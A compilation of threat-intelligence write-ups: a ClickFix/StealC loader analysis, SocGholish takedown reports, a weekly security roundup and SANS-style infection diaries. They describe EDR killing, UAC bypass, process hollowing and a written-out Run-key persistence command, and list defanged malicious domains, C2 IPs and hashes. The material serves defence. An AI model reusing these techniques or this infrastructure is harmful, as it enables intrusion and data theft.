RunForever exited (unexpected) POST: entering RunForever POST: hollow= The loader performs the following operations: Extract the encoded blob containing two payloads reading the marker AtLorenBase and the length of the encoded blob. After, it decodes the blob and decrypts the driverpcdhost.sys (OPSWAT AppRemover Driver) and StealC payload using a custom decryption algorithm. Terminate more than 140 processes related to EDR/AV processes using the dropped driver. Perform UAC bypass via ICMLuaUtil Elevated COM Interface. Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer. Connections with SyncTDS and TrafficTDS We found several other ClickFix campaigns and kits potentially linked to the same operator(s), although there is not enough evidence to confirm this. The domain dasdasdikasjdas[.]click resolves to one of the IPs related to this campaign 151[.]240[.]151[.]126. The domain previously returned a panel called “SyncTDS”. We found more than 20 domains that return the SyncTDS related panel. This panel has also changed graphics over time. One of these “SyncTDS” domains, maskingofking[.]xyz, resolves to 193.111.117[.]6 which hosts several ClickFix-related domains and an open directory containing an interesting kit called “TrafficTDS.” This kit allows the operator to support different payloads related to Windows, Linux, MacOS and Android. In this case, the pages shown to the user are related to ClickFix with a CloudFlare lure. One of the most interesting parts of this kit is the “APK manager” section, which allows the operator to show the user an “Update Required” page to download the malicious APK. IOCs Hash 72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 0234E3188F2883A438B3F2BEAB7A78B2: StealC 6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 206ce339febca0c3bcc850f42595fc63: Amatera Stealer eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT b8d53740024d126cb55f83854335a4ab: Rust Stealer Domains Distribute ClickFix pages: onegeekworld[.]com thefirmos[.]com antibotv3[.]com centralwildcats[.]com cloud.antibotv3[.]com cloudautosolutions[.]com sunseekersupply[.]com 123clocks[.]com orcanegames[.]com rwmonitoring[.]com 100furniture[.]com nepalcharchaa[.]com p-floribunds.pages[.]dev pg-altirade2.pages[.]dev pg-cordivant-m6.pages[.]dev g-luminence.pages[.]dev generator-qrcode[.]online regdev-google[.]com khosla[.]capital eorgke09054909j[.]com dropboxi[.]com CloudFlare buckets used for payload distribution: pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-620528e2dc874e16937673265aa23d39.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-9682d5896df841679c5a17eb41273f89.r2[.]dev pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev unitedstateverif[.]com: payload distribution bigflaredefence[.]com: payload distribution popularcard[.]shop: Rust Stealer C2 xzz[.]proxygrid[.]cc: Amatera Stealer C2 completstep[.]com: Loader C2 eventlogerps1[.]ink: Deno Loader be231ro963[.]com: Deno Loader IPs IP used for payload distribution: 151.240.151[.]126 85.239.149[.]16 85.239.149[.]40 93.152.224[.]29 151.240.151[.]46 93.152.224[.]167 85.239.149[.]78 192.69.195[.]131 135.181.171[.]40 94.26.83[.]206 91.92.34[.]128 85.239.144[.]31 93.152.224[.]39 94.26.90[.]112 146.19.248[.]120: StealC C2 Acknowledgements Related domain reported: https://x.com/stop_spammerz/status/2070152741037477960 Related domain reported: https://x.com/Yuki27183/status/2047354005605777850 User infection reported on Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/ Possible related infection chain https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026 Similar open directory reported: https://x.com/malwrhunterteam/status/2062241642627694690 Similar campaign reported: https://x.com/stop_spammerz/status/2062269326292324592

Dutch law enforcement authorities, along with counterparts from Canada , Germany, and the U.S., have disrupted malicious infrastructure associated with SocGholish and cleaned up nearly 15,000 infected WordPress websites. "With these actions we deprive cybercriminals of access to infected computer systems," Maikel Rollman of the Netherlands National High Tech Crime Unit said. "This prevents further damage to the digital systems of citizens, businesses and organizations worldwide and limits the spread of malware. It also reduces the risk that these systems are used for cyber attacks on critical infrastructure and other essential societal processes. This marks the beginning of further action against SocGholish." The takedown is part of Operation Endgame, an ongoing international law enforcement initiative to combat botnets and associated criminal infrastructures. It was launched in 2024. As part of the effort, 106 servers linked to SocGholish have been taken down and 14,971 WordPress sites have been rid of the infections. Website owners have been notified to update their content management system (CMS), change their credentials, and delete any suspicious accounts. Active since 2017 and also known as FakeUpdates, SocGholish is a JavaScript (JS)-based downloader malware that typically serves as a conduit for next-stage malware from various threat actors like Evil Corp (aka DEV-0243, Indrik Spider, and UNC2165), LockBit, RansomHub, Dridex, and Raspberry Robin (aka Roshtyak). "The malware establishes an initial foothold into victim computers, collectively known as a botnet, and is then used by threat actors for further targeting with ransomware campaigns and espionage," the U.S. Federal Bureau of Investigation's (FBI) Cyber Division said in a post shared on LinkedIn. It's distributed via compromised websites by masquerading as deceptive updates for web browsers like Google Chrome or Mozilla Firefox, and other popular software. The operators of the malware have been tracked under various aliases, such as Gold Prelude, Mustard Tempest, Purple Vallhund, TA569 and UNC1543. "SocGholish infections typically originate from compromised websites that have been infected in multiple different ways," Silent Push noted in an analysis of the malware last year. "Website infections can involve direct injections, where the SocGholish payload delivery injects JS directly loaded from an infected webpage or via a version of the direct injection that uses an intermediate JS file to load the related injection." In November 2025, Arctic Wolf revealed that SocGholish was being used by the RomCom threat actors to deliver the Mythic Agent, highlighting the use of the initial access broker's services by a broad range of actors with varied motivations. Orange Cyberdefense said it has observed SocGholish infections delivering loaders like Gholoader (another JavaScript-based loader) and MintsLoader, which, in turn, lead to the deployment of additional payloads like GhostWeaver, LockBit, AsyncRAT, and NetSupport RAT. "SocGholish uses a layered delivery model and has been observed enabling multiple categories of follow-on payloads," the cybersecurity company said, adding the threat actor also collaborates with traffic distribution system (TDS) operators like TA2726. TDS is a technology used to route site visitors to different destinations based on different factors. This can range from compromised or fake login websites hosting phishing pages to bogus sites that prompt users to download software updates containing malware, which can then obtain access to victim networks for ransomware or other financial scams. "Cybercriminals use TDS to bypass traditional firewall rules that would otherwise block connections to malicious websites, and to analyze potential victims for targeting by collecting their IP address, operating system, location, device, and browser information," the FBI said. "After driving users to a TDS, often through various social engineering techniques, cybercriminals can exploit users' devices at the end of the TDS redirection chain by delivering phishing pages, financial scams, and other malware." Many of the compromised WordPress instances have been modified to include criminal infrastructure operated by SocGholish, according to the Shadowserver Foundation. The vast majority of the hacked sites were located in the U.S., followed by Germany, France, India, Brazil, Singapore, Italy, Indonesia, Canada, and Vietnam. "The abuse also includes the use of a process known as 'Domain Shadowing,'" the non-profit said. "This is a technique where a threat actor gains access to the authoritative DNS provider or registrar account panel for a legitimate domain, and uses their access to quietly create additional subdomains beneath the main ('apex') domain." "These malicious subdomains are often given common host names that hide in plain sight and blend in with the domain owner's legitimate DNS infrastructure, but will point to criminal-operated external malicious infrastructure – effectively piggybacking on a domain's established reputation and making it harder for defenders to easily detect or block illicit activity." What's more, the infected websites are frequently exploited by multiple threat actors, exposing unsuspecting site visitors to a sophisticated cluster of potential threats. The malicious behavior exhibited by these sites is dictated by various crucial factors, including the user's country of origin, the type of browser being used, and the underlying operating system. "TA569 indiscriminately compromises websites and is opportunistic, although sites with higher traffic numbers lead to more victims," Proofpoint said. "The actor has also compromised websites in virtually every industry, from nonprofits and schools, to healthcare and hospitals, to legal and real estate organizations." DNS threat intelligence firm Infoblox described SocGholish as a multi-stage JavaScript framework that converts compromised websites into drive-by download malware delivery vehicles. The framework is enabled by four main steps: traffic acquisition, traffic filtering, payload lures, and on-device implant execution. "TA569 compromises a very large number of websites themselves," it said. "But they also accept traffic from affiliates. It's a classic commercial relationship: when a user visits the site, the affiliate typically fingerprints them and then passes potential victims to SocGholish through an embedded link. In return, the affiliate will be paid for these 'leads.'" Some of the prominent affiliates that have sold traffic to the SocGholish framework over the years include TA2726, Parrot TDS, and JunkyTDS. Threat actors have also employed commercial offerings like Keitaro and zTDS to filter traffic for redirection to SocGholish, or sending them to the original website or any other content if the visitor to the compromised site does not match the criteria. Data from Infoblox shows that approximately 55% of its cloud customers attempted to reach SocGholish infrastructure this year alone, with the attacks targeting almost "every industry sector" over the past five months. Some of the most targeted verticals included government, education, banking, healthcare, non-IT services, financial services, IT consulting, utilities, insurance, and transportation. "This distribution [...] reinforces that SocGholish is not a niche threat limited to one vertical," the company said. "Instead, its large-scale webinject and TDS ecosystem reaches into both public-sector and commercially important environments, making it a broadly relevant threat across our customer base."

Law enforcement agencies in four countries, working with Europol and private partners, have disrupted SocGholish infrastructure and cleaned up nearly 15,000 infected WordPress websites. Active since 2017 and also known as FakeUpdates, SocGholish is a malware framework injected into websites running popular content management systems, such as WordPress, Joomla, and Drupal, either via known vulnerabilities or stolen credentials. The framework acts as a JavaScript-based dropper, deploying various malware families as part of drive-by downloads, including ransomware, banking trojans, spyware, and more, and has been one of the most used loaders for years. SocGholish is operated by a Russian-speaking threat actor tracked as DEV-0206, Gold Prelude, Mustard Tempest, TA569, and UNC1543, which acts as an initial access broker and has been associated with the infamous Evil Corp gang (believed to be linked to Russian intelligence). TA569 has been observed indiscriminately compromising websites to inject the SocGholish loader, including prominent media and retail portals visited by millions of users daily. The malware profiles a victim’s browser, performs specific checks, and then overwrites the entire webpage with a fake browser update to entice the user into downloading a malicious payload, Proofpoint explains. Orange’s cyber defense unit observed SocGholish delivering loaders like Gholoader and MintsLoader, which eventually led to payloads such as the GhostWeaver PowerShell backdoor, LockBit and RansomHub ransomware, and AsyncRAT or NetSupport RAT backdoors. According to Infoblox, approximately 55% of cloud customers were exposed to SocGholish this year, which demonstrates the high risk the botnet poses to enterprises worldwide. The ShadowServer Foundation puts that into better perspective: in May, there were more than 1.44 million compromised WordPress websites available for use by SocGholish. Authorities in the Netherlands, Canada, the US, and Germany, with support from Europol, took down 106 command-and-control (C&C) servers and domains associated with SocGholish, and removed backdoors and malware from 14.971 infected WordPress websites. The Dutch police say notifications were also sent to WordPress site owners whose compromised credentials were identified, urging them to change their logins, enable MFA, delete suspect accounts, and keep their sites updated. Related: Dutch Police Dismantle Massive 17-Million-Device Botnet Related: GlassWorm Botnet Disrupted Related: Tycoon 2FA Fully Operational Despite Law Enforcement Takedown Related: SystemBC Infects 10,000 Devices After Defying Law Enforcement Takedown

It got stupid again. The internet still feels held together with tape. Bad plugins, old bugs, fake tools, trusted apps doing shady things. Same mess, new wrapper. And now the weird stuff is normal. Forums go down and come back worse. Cheap hackers get better toys. AI starts breaking real systems. Great. Read the whole thing before it ruins your week anyway. Unauthenticated SSRF riskCisco has released fixes to address a high-severity security flaw in Unified Communications Manager (CVE-2026-20230, CVSS score: 8.6) that could allow an unauthenticated, remote attacker to conduct server-side request forgery (SSRF) attacks through an affected device. "This vulnerability is due to improper input validation for specific HTTP requests," Cisco said. "An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to write files to the underlying operating system that could be used later to elevate to root." The issue has been addressed in Cisco Unified CM and Unified CM SME Release versions 14SU6 and 15SU5. Cisco said it's aware of the availability of proof-of-concept exploit code for the flaw, but noted there is no evidence of active exploitation. It credited an independent security researcher working with SSD Secure Disclosure for reporting the vulnerability. Mobile spyware operationRussia's Federal Security Service (FSB) has disclosed details of what it described as a "large-scale action" undertaken by foreign intelligence services to stealthily implant spyware on the mobile devices of high-ranking officials in the country. "This software was utilized to exfiltrate existing data, intercept ongoing conversations, and conduct covert audio and video surveillance of the immediate surroundings of the electronic devices, with the ultimate objective of obtaining sensitive information," the FSB said. Russia did not reveal who was behind the attacks, but noted the "representatives of foreign intelligence services" leveraged the technical capabilities of major international IT corporations to exfiltrate sensitive data from the devices. This specifically included the exploitation of mobile communication channels, the agency added. An investigation into the activity is ongoing, with the FSB also initiating a criminal case to investigate the matter. Layered keylogger luresThreat actors have been relying on social engineering over the past few months to push VIP Keylogger via loaders written in JavaScript, batch scripts, and Visual Basic Script (VBS). "Attackers are masquerading as legitimate business communications such as bank payment notifications, procurement orders, and logistics updates to lure users into opening malicious files," Splunk said. Crypto sanctions escalationThe U.S. Treasury's Office of Foreign Assets Control (OFAC) has announced sanctions against Nobitex, Iran's largest cryptocurrency exchange, for facilitating payments related to terrorist activities. "Nobitex has provided significant support to the regime, processing more than 50 percent of all Iranian digital asset inflows in 2025 and facilitating payments tied to Iran's terrorist activities, sanctions evasion efforts, and Islamic Revolutionary Guard Corps (IRGC)-linked transactions, including activity associated with IRGC-affiliated ransomware actors," the Treasury said. The sanctions also extend to Nobitex's chairman, co-founder, and former CEO, Amir Hossein Rad, as well as other Nobitex leaders and officials, and three other exchanges: Wallex, Bitpin, and Ramzinex. According to Chainalysis, Nobitex processed over 50% of all Iranian digital asset inflows last year. The four exchanges accounted for roughly $7.7 billion, 78% of Iran's USD 9.9 billion in attributed 2025 crypto volume, per TRM Labs. Cybercrime forum falloutThe July 2025 law enforcement takedown of XSS, a prominent Russian-speaking cybercrime forum, didn't dismantle the ecosystem. Rather, it fractured it into competing, harder-to-track factions, Flashpoint said. The collapse has triggered an exodus into new, unvetted, and often adversarial communities. Some of the new forums that have rushed to fill up the void left by XSS include DamageLib (launched by legacy moderators of XSS), Rehub (launched by another former XSS moderator), XSS.pro (a resurrection using old backups and suspected to be a law-enforcement honeypot), and XSSF (started by a pro-Russian Telegram hacking group). RMM abuse surgeA lesser-known remote desktop tool called Tiflux is being used in a growing number of attacks to establish persistence, transmit screenshots, and run commands to collect system profiling information. "Threat actors behind the rogue Tiflux incidents also installed UltraVNC, an open-source remote access tool, sideloaded other commercial RMMs, including Splashtop and ScreenConnect, and installed an outdated driver that can permit the threat actor to elevate their own privileges on an infected system," Huntress said. "Threat actors continue to test and weaponize the use of commercial remote access management tools." Malware delivery networkA threat cluster tracked as DriveSurge has been operating large-scale malware distribution campaigns using ClickFix and FakeUpdates (aka SocGholish) social engineering techniques on compromised sites. Thousands of websites are estimated to have been compromised, directing users to malicious infrastructure. DriveSurge primarily acts as an initial access broker (IAB) operating on a pay-per-install (PPI) model, enabling follow-on attacks. Visitors of compromised websites are steered through a traffic distribution system (TDS) known as zTDS, which profiles the system and decides whether the visitor should be served a ClickFix or a FakeUpdates lure. zTDS, in use since at least 2015, is publicly available at ztds[.]info. "Using zTDS, DriveSurge hijacks thousands of legitimate, high-reputation websites and silently redirects visitors to malware, unbeknownst to the sites' owners or their visitors," Silent Push said. The campaign has been active since September 2025. Sensitive data leakThe Spanish National Police has arrested an unidentified individual for leaking sensitive information related to members of various critical state organizations, including the National Cybersecurity Institute (INCIBE), the State Attorney General's Office, the National Police, the Civil Guard, and the National Security Council. JavaScript backdoor malspamIntrinsec haș disclosed that multiple malspam campaigns have been used to distribute a JavaScript-coded backdoor. "The targets of those campaigns were from all regions and sectors, notably energy and finance ministries, including in the CIS region," the company said. "We believe the campaigns to be financially motivated and operated for email account compromise (EAC) and/or business email compromise (BEC)." The activity was observed in March 2026. On-chain malware deliveryCybersecurity researchers have flagged an intrusion in which threat actors used the EtherHiding technique to route ClearFake payload delivery through smart contracts on the BNB Smart Chain testnet. "The attack chain ended with two simultaneously deployed stealers, SectopRAT and ACRStealer, alongside an on-chain execution tracker that confirmed each victim compromise in real time," Trend Micro said. Cloud attack tradecraftNation-state hacking groups like APT29, APT33, and UTA0355 are exploiting ROADtools, a Python-based open-source framework for red-teaming and research, to blend in with normal traffic and evade detection. "ROADtools operates through legitimate Microsoft APIs and can mimic typical traffic," Palo Alto Networks Unit 42 said. "Further defense evasion can be achieved by configuring request attributes such as user-agent strings. These capabilities have made ROADtools a valuable asset for attackers. Nation-state threat actors have used it in recent cloud intrusions for discovery, persistence, and defense evasion. Attackers involved in a targeted phishing campaign in early 2025 used tooling that matches ROADtools' token management capabilities." Data-only extortion risesPure data-exfiltration campaigns without deploying ransomware to pressurize victims are on the rise. In 2025, such attacks have primarily targeted professional services, healthcare, and consumer services firms. "Interestingly, while manufacturing remains the single most disrupted sector overall, construction has witnessed a 44% year-over-year increase as a data-only extortion hotspot," Unit 42 said. "These firms are attractive targets due to lucrative financial blueprints and bidding data combined with data egress controls." AI-assisted evasion testingAn unknown threat actor has been observed using artificial intelligence (AI) technologies to automate Active Directory discovery and refine endpoint detection and response (EDR) evasion tactics in a red team post-exploitation framework. "Analysis revealed that AI for malware development was more limited and was mainly used to coordinate workflows and support experimentation," Sophos said. "The actual EDR-bypass path was a structured engineering test cycle that included human review and iteration." To develop tools for bypassing EDR agents, the attacker is said to have used Cursor and Anthropic Claude Opus. At the core of the framework is a Python tool that generates Go and Rust payloads for testing with an aim to resist sandboxing, antivirus, and EDR detection. This approach was used to build nearly 80 modules covering more than 70 techniques. Also attributed to the threat actor are Python-based malware development scripts for injecting shellcode into legitimate Windows executables and a Telegram bot API-based external command and control (C2) mechanism. "The use of AI agents to accelerate tool development and test evasion techniques lowers the barrier to entry for sophisticated red team-style attacks," Sophos said. "However, this shift does not change how defenders should protect themselves." The framework is said to be built for stealthy post-exploitation activity in target environments, linking it to "known ransomware deployment and data theft operations." Steam-hosted malware payloadsA newly identified malware is using Steam Community profile comments to host malicious payloads for WordPress, hiding malicious infrastructure behind Valve's legitimate platform. "The malware employs invisible Unicode characters to conceal payloads within Steam profile comments, enabling steganographic data encoding that evades traditional text-based detection methods," GoDaddy said. "A cookie-authenticated backdoor enables remote code execution, allowing attackers to modify plugin and theme files by sending base64-encoded PHP code via POST requests." The malware performs two primary functions, including client-side JavaScript injection, which fetches encoded URLs from Steam profile comments, decodes them, and injects external JavaScript into WordPress pages, and a server-side backdoor that provides cookie-authenticated remote access for modifying PHP files across plugins and themes. The campaign was first detected in July 2025. The malware has been detected on approximately 1,980 WordPress sites. It is unclear how the websites are breached, but it's assessed that the initial infection vector could be stolen admin logins, compromised FTP/SFTP credentials, the exploitation of a vulnerable WordPress theme or plugin, or a supply chain compromise. Trusted tools abusedFlare.io has disclosed details of FalkonC2, a commercial hacking tool that appears designed to hide inside enterprise environments by abusing trusted remote access software. "FalkonC2 has an enterprise version called Rotemelli2 that runs in memory, rotates its command-and-control domains every 72 hours, and uses tools such as ScreenConnect, Datto, and SimpleHelp to quietly launch attacks," the company said in a statement. An analysis of dashboard telemetry suggests active enterprise infections across the U.S., Australia, the Netherlands, and Poland. The framework also checks infected machines for QuickBooks and Sage50 data, suggesting attackers are looking for accounting systems they can quickly exfiltrate. AI vulnerability surgeAnthropic is broadening access to its Project Glasswing program, adding approximately 150 organizations in 15 countries for access to its Claude Mythos Preview. "The bottleneck in cybersecurity is now verifying, disclosing, and patching the large numbers of vulnerabilities that Mythos-class models can surface," the company said. The growing number of flaws identified with the help of AI models has shifted the scales from discovery to patching. A recent report from the Cloud Security Alliance (CSA), the SANS Institute, and the Open Worldwide Application Security Project (OWASP) concluded that in the near term, organizations are "likely to be overwhelmed" by threat actors using AI to find and exploit vulnerabilities faster than defenders can patch them. "The cost and capability floor to exploit discovery is dropping, the time between disclosure and weaponization is compressing toward zero, and capabilities that previously required nation-state resources are now becoming broadly accessible," the report said. Linux flaw under attackThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a Linux Kernel flaw (CVE-2022-0492, CVSS score: 7.8) to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to remediate the flaw by June 5, 2026. "Linux Kernel contains an improper authentication vulnerability which could allow for privilege escalation via the cgroups v1 release_agent feature," CISA said. The development comes after Kaspersky said it observed the flaw, along with CVE-2019-5736 and CVE-2024-21626, being exploited in attacks aimed at container environments. Fake image tools deliver malwareA new ClickFix-style lure is being dressed up as free image-editing tools to deliver CastleLoader, which then drops both NetSupport RAT and a custom .NET stealer called CastleStealer. "The sites look like every other 'remove your photo background' service with uploads, progress bars, and download buttons, but the entire UI is fake," Huntress said. The activity has been codenamed BackgroundFix. CastleLoader is attributed to a threat cluster known as GrayBravo. Session theft defenseGoogle has revealed that Device Bound Session Credentials (DBSC) in the Chrome browser is now generally available and enabled by default for Google Workspace users. "DBSC strengthens account security after users are logged in and helps bind a session cookie - small files used by websites to remember user information - to the device a user authenticated from," Google said. "Even if malware was present on the user's device, DBSC reduces the risk of session theft and makes it meaningfully more difficult for malicious actors to exploit stolen session cookies." The feature was formally released in April 2026. Adobe abused in phishingCybercriminals are weaponizing Adobe infrastructure in a LinkedIn phishing campaign that steals passwords and redirects victims to the legitimate LinkedIn site afterward. Opening an HTML attachment in the email message serves a login form urging the recipient to enter their credentials. The captured information is delivered to the domain "lnkd.tt.omtrdc[.]net/rest/v1/delivery," after which they are redirected to the LinkedIn site. "This domain belongs to Adobe and is associated with the Adobe Target A/B testing platform," Malwarebytes said. "But the campaign isn't using Adobe Target to receive the phished credentials. Instead, attackers are abusing Adobe Target as a redirect/abuse point in the phishing flow." Supply chain delay defenseRubyGems has included a cooldown, a time-based filter, in Bundler version 4.0.13 that refuses to resolve to a version until it has been public for at least "N" days. "Releases too new to have been scrutinized are passed over in favor of ones that have aged past the window," Hiroshi Shibata, RubyGems maintainer, said. "It is opt-in, and complements rather than replaces existing defenses like mandatory 2FA and trusted publishing." Users can declare a "small cooldown" on the source in the Gemfile. The efforts go along with other initiatives like AI-assisted vulnerability scanning against the most critical gems in the registry. Iran-linked Israel attacksESET said it recorded an unusual spike in Iran-aligned activity against Israeli targets between October 2025 and March 2026 that could not be linked to previously known groups. "Two unattributed activity clusters, Rusty Boots and MoKhargosh, demonstrated both espionage capabilities and destructive potential - including deployment of a bootkit-style wiper and retaining destructive tooling for later use - whereas a third, MOØN Badr, appears to have been limited to targeted espionage," the Slovakian company said. MoKhargosh, first observed in January 2026, used Go-compiled binaries in attacks targeting Israel. This includes a backdoor called GoKhargosh, along with wipers, filecoders that overwrite files with junk data, and a wiper that targets the master boot record to render the system unbootable. MOØN Badr, on the other hand, singled out three unidentified victims in Israel in early January 2026 to deliver the MOØN AGENT backdoor via phishing emails to facilitate command execution and file uploads and downloads. Fuel tank systems exposedThe U.S. government has issued an advisory urging organizations to take steps to defend against attacks targeting U.S.-based automatic tank gauge (ATG) systems by securing them with strong passwords and by removing them from the internet to reduce public exposure. The activity, which remains unattributed, involves the attackers compromising internet-exposed ATG systems via hard-coded credentials, command execution, and SQL injection vectors, followed by escalating privileges to obtain full administrator rights and modifying the system functions. "Should a cyber threat actor exploit these vulnerabilities and compromise an ATG system, they could disrupt or manipulate the below critical functions by interfacing directly with the tank management as though they possessed legitimate physical access to the system console," government agencies said. Verified call defenseGoogle has announced a fake call detection feature, built on Rich Communication Services (RCS), to Android devices running versions Android 12 and later that verifies whether a call is coming from the caller's actual Android smartphone. Enabled by default, the alert is designed to avoid falling victim to deepfake impersonation and call spoofing in real time. "When a contact calls you and you're both using Phone by Google, their device sends a silent confirmation signal in real time to your device to verify the call is legitimate and truly coming from the contact's device," Google said. "If a scammer tries to impersonate your contact, that initial confirmation signal will be missing. Your device will instantly notice this and ping your contact's actual device to double-check. If their real device says, 'I'm not making a call right now,' you'll get a warning on your screen advising you to hang up immediately." Because the digital handshake uses end-to-end encrypted RCS technology, Google said the process is completely private. That said, the feature requires users to have three Google apps installed: Phone by Google, Contacts, and Google Messages. It will roll out globally this month, starting with Pixel devices. Agentic AI failuresAn analysis of 7,200 publicly reported AI-security and operational incidents has identified "344 verified enterprise-relevant agent-inflicted damage cases between September 2023 and May 2026, including 188 incidents where autonomous AI systems caused direct organizational harm without any external attacker involvement," Cyera researchers Ehud Halamish, Assaf Morag, and Vladimir Tokarev said. "The majority of confirmed incidents involved real production impact rather than theoretical AI risk scenarios. Observed outcomes included deleted databases, destructive cloud actions, unauthorized financial operations, runaway API spending, service outages, exposed secrets, and silent integrity corruption inside enterprise environments. As agents gain broader permissions and deeper integration into SaaS, cloud, development, and business environments, the AI interaction layer itself increasingly becomes part of the enterprise attack surface and critical data perimeter." The lesson is boring because the lesson is always boring. Patch faster, kill exposed admin panels, stop trusting "safe" tools by name, and watch the weird edges where attackers like to hide. The cheap stuff still works because too many teams leave it cheap. Security is not magic. It is inventory, logs, least privilege, backups, tested restores, and people who notice when something normal starts acting wrong. Do that well, and half this mess gets a lot less exciting. That is the point.

Introduction This diary provides indicators from an unidentified RAT infection on Wednesday 2026-05-27 that was followed by a malicious NetSupport Manager RAT package. This originated from the SmartApeSG ClickFix campaign. I still don't know the name of the initial RAT, but it has consistently been generating encoded (not HTTPS/SSL/TLS) traffic to a command and control (C2) server at 89.110.110[.]119 over TCP port 443 since I first noticed it sometime in April 2026. Images from the infection Shown above: Fake verification page with ClickFix instructions from the SmartApeSG campaign. Shown above: Initial RAT malware on an infected Windows host. Shown above: Follow-up files for NetSupport RAT sent through the initial RAT C2 traffic. Shown above: NetSupport RAT C2 traffic. Indicators of Compromise Example of SmartApeSG URLs seen on Wednesday 2026-05-27: hxxps[:]//hiddenplanetlab[.]top/signin/secure-util.js hxxps[:]//hiddenplanetlab[.]top/signin/private-template?c66kjD5i hxxps[:]//hiddenplanetlab[.]top/signin/legacy-worker.js?18b3825af007e53d Example of traffic generated by running the associated ClickFix script: hxxp[:]//178.156.165[.]82/ hxxp[:]//178.156.173[.]194/ hxxps[:]//silverharvestnetwork[.]com/check Initial RAT C2 traffic: tcp[:]//89.110.110[.]119:443/ IP address for NetSupport RAT C2 server: hxxp[:]//185.163.47[.]217:443 Files from the infection: SHA256 hash: 1514b1268e9dc6d2f37137aa38c756cb4bf8186ac9235d6863b78e7f8bbbe976 File size: 26,555,757 bytes File type: Zip archive data, at least v2.0 to extract File location: hxxps[:]//silverharvestnetwork[.]com/check File description: Zip archive containing software package for the initial RAT. SHA256 hash: 469bac8e10f50263e8ff0806e6ba126bb4cc660799129a8653eab3f8ec7201e5 File size: 109 bytes File type: ASCII text File location: C:\ProgramData\processor.vbs File description: Initial script that runs token.bat SHA256 hash: 9c7eda2c4d3aaa8746495741bef57a07de180f0409409faf0f91658e88ba33f5 File size: 8,262 bytes File type: DOS batch file text, ASCII text, with very long lines File location: C:\ProgramData\token.bat File description: Batch scrip that extracts, runs, and makes persistent NetSupport RAT from setub.cab SHA256 hash: 7ba5481c873bb3081442561f749f590badd72ef249fddfe993e30b28dc0c2112 File size: 17,275,805 bytes File type: Microsoft Cabinet archive data File location: C:\ProgramData\setup.cab File description: CAB file containing malicious NetSupport RAT package Contents of this CAB file extracted to: C:\ProgramData\UpdateInstaller\ Note 1: The files processor.vbs, token.bat, and setup.cab are all deleted by the token.bat script after it installs the malicious NetSupport RAT package and makes it persistent on the infected Windows host. Note 2: The indicators for this activity (domains, file hashes, etc.) change on a daily basis. For more up-to-date indicators on SmartApeSG and similar campaigns, see the @monitorsg feed on Mastodon. --- Bradley Duncan brad [at] malware-traffic-analysis.net

Introduction This diary provides indicators from the SmartApeSG (ZPHP, HANEYMANEY) campaign I saw on Tuesday, 2026-03-24. SmartApeSG is one of many campaigns that use the ClickFix technique. This past week, I've seen NetSupport RAT as follow-up malware from Remcos RAT pushed by this campaign. But this time, I also saw indicators for StealC malware and Sectop RAT (ArecheClient2) after NetSupport RAT appeared on my infected lab host. Not all of the follow-up malware appears shortly after the initial Remcos RAT malware. Here's the timeline for malware from my SmartApeSG activity on Tuesday 2026-03-24: 17:11 UTC - Ran ClickFix script from SmartApeSG fake CAPTCHA page 17:12 UTC - Remcos RAT post-infection traffic starts 17:16 UTC - NetSupport RAT post-infection traffic starts 18:18 UTC - StealC post-infection traffic starts 19:36 UTC - Sectop RAT post-infection traffic starts While the NetSupport RAT activity happened approximately 4 minutes after the Remcos RAT activity, the StealC traffic didn't happen until approximately 1 hour after the NetSupport RAT activity started. And the traffic for Sectop RAT happened approximately 1 hour and 18 minutes after the StealC activity started. Images from the infection Shown above: Page from a legitimate but compromised website with injected script for the fake CAPTCHA page. Shown above: Fake CAPTCHA page with ClickFix instructions. This image shows the malicious script injected into a user's clipboard. Shown above: Traffic from the infection filtered in Wireshark. Indicators of Compromise Associated domains and IP addresses: fresicrto[.]top - Domain for server hosting fake CAPTCHA page urotypos[.]com - Called by ClickFix instructions, this domain is for a server hosting the initial malware 95.142.45[.]231:443 - Remcos RAT C2 server 185.163.47[.]220:443 - NetSupport RAT C2 server 89.46.38[.]100:80 - StealC C2 server 195.85.115[.]11:9000 - Sectop RAT (ArechClient2) C2 server Example of HTA file retrieved by ClickFix script: SHA256 hash: 212d8007a7ce374d38949cf54d80133bd69338131670282008940f1995d7a720 File size: 47,714 bytes File type: HTML document text, ASCII text, with very long lines (6272) Retrieved from: hxxps[:]//urotypos[.]com/cd/temp Saved location: C:\Users\[username]\AppData\Local\post.hta Note: ClickFix script deletes the file after retrieving and running it Example of ZIP archive for Remcos RAT retrieved by the above HTA file: SHA256 hash: a6a748c0606fb9600fdf04763523b7da20b382b054b875fdd1ef1c36fc16079a File size: 85,328,653 bytes File type: Zip archive data, at least v2.0 to extract, compression method=deflate Retrieved from: hxxps[:]//urotypos[.]com/ls/production Saved location: C:\Users\[username]\AppData\Local\361118191\361118191.pdf ZIP archive containing NetSupport RAT package: SHA256 hash: 6e26ff49387088178319e116700b123d27216d98ba3ae1ce492544cb9acd38f0 File size: 9,171,647 bytes File type: Zip archive data, at least v2.0 to extract, compression method=deflate File name: UpdateInstaller.zip Note: I created this zip archive from the extracted files under C:\ProgramData\UpdateInstaller\ RAR archive for StealC package: SHA256 hash: a7b9be1211c6de76bab31dbcd3a1c99861cf18e3230ea9f634e07d22c179d1ca File size: 6,178,471 bytes File type: RAR archive data, v5 Saved location: C:\Users\Public\Music\finalmesh.zip RAR archive for Sectop RAT (ArechClient2) package: SHA256 hash: c90435370728d48cba1c00d92cc3bf99e85f01aa52ecd6c6df2e8137db964796 File size: 6,908,049 bytes File type: RAR archive data, v5 Saved location: C:\ProgramData\drag2pdf.zip Final words The archive files for Remcos 